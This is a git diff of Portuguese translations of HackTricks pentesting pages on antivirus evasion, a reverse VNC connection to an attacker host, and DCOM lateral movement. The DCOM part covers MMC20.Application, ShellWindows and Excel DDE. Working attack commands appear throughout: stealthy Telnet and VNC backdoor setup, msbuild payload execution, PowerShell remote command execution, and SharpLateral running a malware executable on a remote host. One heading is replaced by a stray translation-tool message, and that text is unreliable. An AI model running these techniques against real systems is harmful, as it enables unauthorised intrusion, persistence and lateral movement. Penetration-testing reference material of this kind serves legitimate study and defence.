Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma introdução a técnicas mais avançadas de Evasão.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
|
||||
|
@ -339,14 +337,19 @@ Esta é também outra ótima palestra de [@mariuszbit](https://twitter.com/mariu
|
|||
|
||||
## **Técnicas Antigas**
|
||||
|
||||
### **Verificar quais partes o Defender identifica como maliciosas**
|
||||
|
||||
Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que irá **remover partes do binário** até **descobrir qual parte o Defender** está identificando como maliciosa e dividir para você.\
|
||||
Outra ferramenta fazendo a **mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço web aberto oferecido em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Servidor Telnet**
|
||||
|
||||
Até o Windows10, todos os Windows vinham com um **servidor Telnet** que você poderia instalar (como administrador) fazendo:
|
||||
```
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Faça com que **inicie** quando o sistema for iniciado e **execute** agora:
|
||||
```
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Alterar porta do telnet** (stealth) e desativar firewall:
|
||||
|
@ -364,16 +367,16 @@ Baixe em: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/down
|
|||
* Defina uma senha em _VNC Password_
|
||||
* Defina uma senha em _View-Only Password_
|
||||
|
||||
Em seguida, mova o binário _**winvnc.exe**_ e o arquivo _**UltraVNC.ini**_ recém-criado para dentro do **vítima**
|
||||
Em seguida, mova o binário _**winvnc.exe**_ e o arquivo _**UltraVNC.ini**_ **recém-criado** para dentro do **alvo**
|
||||
|
||||
#### **Conexão reversa**
|
||||
|
||||
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC reversa**. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC reversa**. Então, dentro do **alvo**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**AVISO:** Para manter a discrição, você não deve fazer algumas coisas
|
||||
|
||||
* Não inicie `winvnc` se já estiver em execução ou você acionará um [popup](https://i.imgur.com/1SROTTl.png). Verifique se está em execução com `tasklist | findstr winvnc`
|
||||
* Não inicie `winvnc` sem `UltraVNC.ini` no mesmo diretório ou isso causará [a janela de configuração](https://i.imgur.com/rfMQWcf.png) a abrir
|
||||
* Não inicie `winvnc` sem `UltraVNC.ini` no mesmo diretório ou isso causará a abertura [da janela de configuração](https://i.imgur.com/rfMQWcf.png)
|
||||
* Não execute `winvnc -h` para ajuda ou você acionará um [popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
@ -406,7 +409,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
|||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Primeiro Revershell C#
|
||||
#### Primeiro Revershell em C#
|
||||
|
||||
Compile-o com:
|
||||
```
|
||||
|
@ -488,7 +491,7 @@ catch (Exception err) { }
|
|||
}
|
||||
}
|
||||
```
|
||||
### C# usando compilador
|
||||
Como solicitado, não haverá tradução para o conteúdo fornecido, pois ele não contém texto em inglês que deva ser traduzido de acordo com as instruções dadas.
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
|
@ -543,8 +546,8 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# DCOM Exec
|
||||
# Execução DCOM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,95 +22,94 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
Objetos **DCOM** (Distributed Component Object Model) são **interessantes** devido à capacidade de **interagir** com os objetos **pela rede**. A Microsoft possui uma boa documentação sobre DCOM [aqui](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e sobre COM [aqui](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Você pode encontrar uma lista sólida de aplicativos DCOM usando o PowerShell, executando `Get-CimInstance Win32_DCOMApplication`.
|
||||
Objetos **DCOM** (Distributed Component Object Model) são **interessantes** devido à capacidade de **interagir** com os objetos **pela rede**. A Microsoft tem uma boa documentação sobre DCOM [aqui](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e sobre COM [aqui](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Você pode encontrar uma lista sólida de aplicações DCOM usando PowerShell, executando `Get-CimInstance Win32_DCOMApplication`.
|
||||
|
||||
O objeto COM [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) permite que você escreva componentes de operações de snap-in do MMC. Ao enumerar os diferentes métodos e propriedades dentro deste objeto COM, notei que há um método chamado `ExecuteShellCommand` em Document.ActiveView.
|
||||
O objeto COM [Classe de Aplicação MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) permite que você crie scripts para componentes de operações de snap-in do MMC. Ao enumerar os diferentes métodos e propriedades dentro deste objeto COM, notei que há um método chamado `ExecuteShellCommand` em Document.ActiveView.
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
|
||||
|
||||
Você pode ler mais sobre esse método [aqui](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Até agora, temos um aplicativo DCOM ao qual podemos acessar pela rede e podemos executar comandos. A peça final é aproveitar esse aplicativo DCOM e o método ExecuteShellCommand para obter a execução de código em um host remoto.
|
||||
Você pode ler mais sobre esse método [aqui](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Até agora, temos uma aplicação DCOM que podemos acessar pela rede e executar comandos. A peça final é aproveitar esta aplicação DCOM e o método ExecuteShellCommand para obter execução de código em um host remoto.
|
||||
|
||||
Felizmente, como administrador, você pode interagir remotamente com o DCOM usando o PowerShell, usando "`[activator]::CreateInstance([type]::GetTypeFromProgID`". Tudo que você precisa fazer é fornecer um DCOM ProgID e um endereço IP. Ele fornecerá de volta uma instância desse objeto COM remotamente:
|
||||
Felizmente, como administrador, você pode interagir remotamente com DCOM com PowerShell usando "`[activator]::CreateInstance([type]::GetTypeFromProgID`". Tudo o que você precisa fazer é fornecer um DCOM ProgID e um endereço IP. Em seguida, ele fornecerá uma instância desse objeto COM remotamente:
|
||||
|
||||
![](<../../.gitbook/assets/image (665).png>)
|
||||
|
||||
É possível invocar o método `ExecuteShellCommand` para iniciar um processo no host remoto:
|
||||
Então é possível invocar o método `ExecuteShellCommand` para iniciar um processo no host remoto:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (4) (1).png>)
|
||||
|
||||
## ShellWindows & ShellBrowserWindow
|
||||
|
||||
O objeto **MMC20.Application** não possuía "LaunchPermissions" explícitos, resultando no conjunto de permissões padrão permitindo acesso de administradores:
|
||||
O objeto **MMC20.Application** não tinha "[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)" explícitas, resultando no conjunto de permissões padrão que permite acesso aos Administradores:
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (1) (2).png>)
|
||||
|
||||
Você pode ler mais sobre esse tópico [aqui](https://twitter.com/tiraniddo/status/817532039771525120).\
|
||||
Visualizar quais outros objetos não possuem conjunto de LaunchPermission explícito pode ser alcançado usando o [OleView .NET](https://github.com/tyranid/oleviewdotnet) de [@tiraniddo](https://twitter.com/tiraniddo), que possui excelentes filtros Python (entre outras coisas). Neste caso, podemos filtrar todos os objetos que não possuem Launch Permission explícito. Ao fazer isso, dois objetos chamaram minha atenção: `ShellBrowserWindow` e `ShellWindows`:
|
||||
Ver quais outros objetos que não têm LaunchPermission explícita pode ser feito usando o [OleView .NET](https://github.com/tyranid/oleviewdotnet) de [@tiraniddo](https://twitter.com/tiraniddo), que possui excelentes filtros Python (entre outras coisas). Neste caso, podemos filtrar todos os objetos que não têm Launch Permission explícita. Ao fazer isso, dois objetos se destacaram para mim: `ShellBrowserWindow` e `ShellWindows`:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
|
||||
|
||||
Outra maneira de identificar objetos-alvo potenciais é procurar o valor `LaunchPermission` ausente nas chaves em `HKCR:\AppID\{guid}`. Um objeto com Launch Permissions definidos será parecido com o abaixo, com dados representando a ACL do objeto em formato binário:
|
||||
Outra maneira de identificar objetos-alvo potenciais é procurar pelo valor `LaunchPermission` ausente nas chaves em `HKCR:\AppID\{guid}`. Um objeto com Launch Permissions definidas aparecerá como abaixo, com dados representando a ACL do objeto em formato binário:
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
|
||||
|
||||
Aqueles sem conjunto explícito de LaunchPermission estarão sem essa entrada específica no registro.
|
||||
Aqueles sem LaunchPermission explícita estarão faltando essa entrada específica no registro.
|
||||
|
||||
### ShellWindows
|
||||
|
||||
O primeiro objeto explorado foi [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx). Como não há [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) associado a esse objeto, podemos usar o método .NET [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) emparelhado com o método [Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) para instanciar o objeto via seu AppID em um host remoto. Para fazer isso, precisamos obter o [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) do objeto ShellWindows, o que pode ser feito também usando o OleView .NET:
|
||||
O primeiro objeto explorado foi [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx). Como não há [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) associado a este objeto, podemos usar o método .NET [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) emparelhado com o método [Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) para instanciar o objeto através de seu AppID em um host remoto. Para fazer isso, precisamos obter o [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) para o objeto ShellWindows, o que pode ser feito usando o OleView .NET também:
|
||||
|
||||
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
|
||||
|
||||
Como você pode ver abaixo, o campo "Launch Permission" está em branco, o que significa que nenhuma permissão explícita está definida.
|
||||
|
||||
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
|
||||
|
||||
Agora que temos o CLSID, podemos instanciar o objeto em um alvo remoto:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
```
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/remote\_instantiation\_shellwindows.png?w=690\&h=354)
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/remote_instantiation_shellwindows.png?w=690&h=354)
|
||||
|
||||
Com o objeto instanciado no host remoto, podemos interagir com ele e invocar quaisquer métodos que desejamos. O identificador retornado para o objeto revela vários métodos e propriedades, com os quais não podemos interagir. Para obter interação real com o host remoto, precisamos acessar o método [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx), que nos dará um objeto que representa a janela do shell do Windows:
|
||||
Com o objeto instanciado no host remoto, podemos interagir com ele e invocar quaisquer métodos que quisermos. O handle retornado para o objeto revela vários métodos e propriedades, com os quais não podemos interagir. Para alcançar uma interação real com o host remoto, precisamos acessar o método [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx), que nos devolverá um objeto que representa a janela do shell do Windows:
|
||||
```
|
||||
$item = $obj.Item()
|
||||
```
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465)
|
||||
```markdown
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/item_instantiation.png?w=416&h=465)
|
||||
|
||||
Com um controle total sobre a Janela do Shell, agora podemos acessar todos os métodos/propriedades esperados que estão expostos. Após analisar esses métodos, **`Document.Application.ShellExecute`** se destacou. Certifique-se de seguir os requisitos de parâmetros para o método, que estão documentados [aqui](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx).
|
||||
Com um controle total sobre a Janela Shell, agora podemos acessar todos os métodos/propriedades esperados que são expostos. Após analisar esses métodos, **`Document.Application.ShellExecute`** se destacou. Certifique-se de seguir os requisitos de parâmetros para o método, que estão documentados [aqui](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745(v=vs.85).aspx).
|
||||
```
|
||||
```powershell
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
```
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/shellwindows\_command\_execution.png?w=690\&h=426)
|
||||
|
||||
Como você pode ver acima, nosso comando foi executado com sucesso em um host remoto.
|
||||
|
||||
### ShellBrowserWindow
|
||||
|
||||
Este objeto em particular não existe no Windows 7, o que limita um pouco seu uso para movimentação lateral em comparação com o objeto "ShellWindows", que testei com sucesso no Win7-Win10.
|
||||
Este objeto específico não existe no Windows 7, o que torna seu uso para movimento lateral um pouco mais limitado do que o objeto "ShellWindows", que eu testei com sucesso no Win7-Win10.
|
||||
|
||||
Com base na minha enumeração deste objeto, parece fornecer efetivamente uma interface para a janela do Explorer, assim como o objeto anterior. Para instanciar este objeto, precisamos obter seu CLSID. Da mesma forma que acima, podemos usar o OleView .NET:
|
||||
Com base na minha enumeração deste objeto, parece fornecer efetivamente uma interface para a janela do Explorer, assim como o objeto anterior. Para instanciar este objeto, precisamos obter seu CLSID. Semelhante ao acima, podemos usar OleView .NET:
|
||||
|
||||
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
|
||||
|
||||
Novamente, observe o campo de Permissão de Inicialização em branco:
|
||||
Novamente, observe o campo de Permissão de Lançamento em branco:
|
||||
|
||||
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
|
||||
|
||||
Com o CLSID, podemos repetir as etapas realizadas no objeto anterior para instanciar o objeto e chamar o mesmo método:
|
||||
Com o CLSID, podemos repetir os passos dados no objeto anterior para instanciar o objeto e chamar o mesmo método:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
||||
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
|
||||
```
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow\_command\_execution.png?w=690\&h=441)
|
||||
|
||||
Como você pode ver, o comando foi executado com sucesso no alvo remoto.
|
||||
|
||||
Uma vez que esse objeto se comunica diretamente com o shell do Windows, não precisamos invocar o método "ShellWindows.Item", como no objeto anterior.
|
||||
Uma vez que este objeto interage diretamente com o shell do Windows, não precisamos invocar o método "ShellWindows.Item", como no objeto anterior.
|
||||
|
||||
Embora esses dois objetos DCOM possam ser usados para executar comandos de shell em um host remoto, existem muitos outros métodos interessantes que podem ser usados para enumerar ou interferir em um alvo remoto. Alguns desses métodos incluem:
|
||||
Embora esses dois objetos DCOM possam ser usados para executar comandos shell em um host remoto, existem muitos outros métodos interessantes que podem ser usados para enumerar ou manipular um alvo remoto. Alguns desses métodos incluem:
|
||||
|
||||
* `Document.Application.ServiceStart()`
|
||||
* `Document.Application.ServiceStop()`
|
||||
|
@ -118,9 +117,9 @@ Embora esses dois objetos DCOM possam ser usados para executar comandos de shell
|
|||
* `Document.Application.ShutDownWindows()`
|
||||
* `Document.Application.GetSystemInformation()`
|
||||
|
||||
## ExcelDDE e RegisterXLL
|
||||
## ExcelDDE & RegisterXLL
|
||||
|
||||
De maneira semelhante, é possível mover-se lateralmente abusando dos objetos DCOM do Excel. Para obter mais informações, leia [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
|
||||
De maneira semelhante, é possível mover-se lateralmente abusando de objetos DCOM do Excel, para mais informações leia [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
|
||||
```powershell
|
||||
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
|
||||
## You can see here how to abuse excel for RCE
|
||||
|
@ -142,30 +141,32 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
## Ferramenta
|
||||
|
||||
O script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permite invocar facilmente todas as formas comentadas de executar código em outras máquinas.
|
||||
## Ferramentas Automáticas
|
||||
|
||||
* O script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permite invocar facilmente todas as formas comentadas de executar código em outras máquinas.
|
||||
* Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## Referências
|
||||
|
||||
* O primeiro método foi copiado de [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/), para mais informações siga o link
|
||||
* A segunda seção foi copiada de [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/), para mais informações siga o link
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Você trabalha em uma **empresa de cybersecurity**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,59 @@
|
|||
## Como funciona
|
||||
# AtExec / SchtasksExec
|
||||
|
||||
O At permite agendar tarefas em hosts onde você conhece o nome de usuário/(senha/Hash). Então, você pode usá-lo para executar comandos em outros hosts e obter a saída.
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
